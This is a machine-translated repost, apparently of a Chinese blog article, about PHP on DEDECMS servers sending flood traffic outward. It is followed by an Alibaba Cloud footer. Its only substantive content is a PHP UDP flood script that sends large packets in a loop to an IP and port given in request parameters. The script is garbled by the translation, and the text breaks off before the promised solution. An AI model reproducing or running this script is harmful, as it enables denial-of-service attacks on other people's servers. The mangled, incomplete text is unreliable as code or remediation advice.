Solution to external packet sending caused by server php crash

Source: Internet
Author: User
Provides a free download of the solution document for server php to cause external packet sending crash. Abstract: a solution for server php to cause external packet sending crash. A solution for server php to cause external packet sending crash, the server crashes or is locked up by the data center. Today, I am free to share with you the paopao my summary of DEDECMSphp's external packet sending service. Solution to external packet sending caused by server php crash

Solution to external packet sending caused by server php crash

Php sends packets externally, causing the server to crash or the server room to be locked up. Today I am free to share with you the ultimate solution to the server crash caused by DEDECMS php in my summary by paopao, we hope to help you solve server problems and make the website run better.

I. Php outsourcing Analysis

Use php code to call sockets and directly use the server's network to attack other IP addresses. The common code is as follows: $ packets = 0; $ ip = $ _ GET [\ 'IP \ ']; $ rand = $ _ GET [\ 'port \']; set_time_limit (0); ignore_user_abort (FALSE ); $ exec_time = $ _ GET [\ 'time \ ']; sbxl-20120612 $ time = time (); print \ 'flooded: $ ip on port $ rand \'; $ max_time = $ time + $ exec_time; for ($ I = 0; I I <65535; $ I ++) {$ out. =\'x \ ';} while (1) {$ packets ++; if (time ()> $ max_time) {break;} $ fp = fsockopen (\ 'udp: // $ ip \ ', $ rand, $ errno, $ errstr, 5); if ($ fp) {fwrite ($ fp, $ out ); fclose ($ fp) ;}echo \ 'packet complete \'. time (\ 'H: I: s \'). \'

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.